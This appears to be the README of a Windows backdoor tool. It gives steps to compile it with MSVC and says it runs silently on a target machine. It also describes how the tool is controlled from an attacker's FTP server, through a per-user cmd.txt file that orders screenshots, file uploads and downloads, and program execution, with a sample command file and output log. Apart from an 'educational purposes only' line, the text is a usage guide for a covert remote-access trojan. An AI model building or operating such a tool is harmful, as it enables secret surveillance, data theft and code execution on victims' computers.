educational purposes only!

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1. open developer command prompt in visual studio (this uses the MSVC compiler)

2. navigate to directory where main.cpp is stored

3. compile using cl

cl /EHsc main.cpp

once you have the executable, click it and the backdoor runs silently in the background.

the program is controlled remotely via commands stored in a file on an FTP server.

1. FTP server setup: the program requires an FTP server to be set up with a specific directory structure. the server must have a directory with the same name as the windows username of the target system. inside this directory, there should be a file named cmd.txt that contains the commands to be executed.

2. command file: the cmd.txt file contains the commands that the program executes. each line in the file represents a separate command. the program supports several commands: print, screen, upload, download, exec.

• example of cmd.txt:

print hello, world!
screen 1
upload C:\\Users\\bilal\\Desktop\\file.txt file.txt
download file2.txt
exec notepad.exe

the program is instructed to:

• print the message "hello, world!"

• take 1 (one) screenshot

• upload the file C:\\Users\\bilal\\Desktop\\file.txt to the FTP server with the name file.txt

• download the file file2.txt from the FTP server

• execute the command notepad.exe which opens the notepad app

3. output upload: after executing the commands, the program uploads an output.txt to the FTP server. this file contains the output of the executed commands and any error messages.

• example of output.txt:

[PRINT][>] hello, world! [<]
[SCREEN][++] screenshot saved >> C:\\Users\\bilal\\AppData\\Local\\SystemConnect\\data\\screenshot1.bmp [++]
[UPLOAD][++] file C:\\Users\\bilal\\Desktop\\file.txt upload as file.txt successful [++]
[DOWNLOAD][++] file file2.txt download successful [++]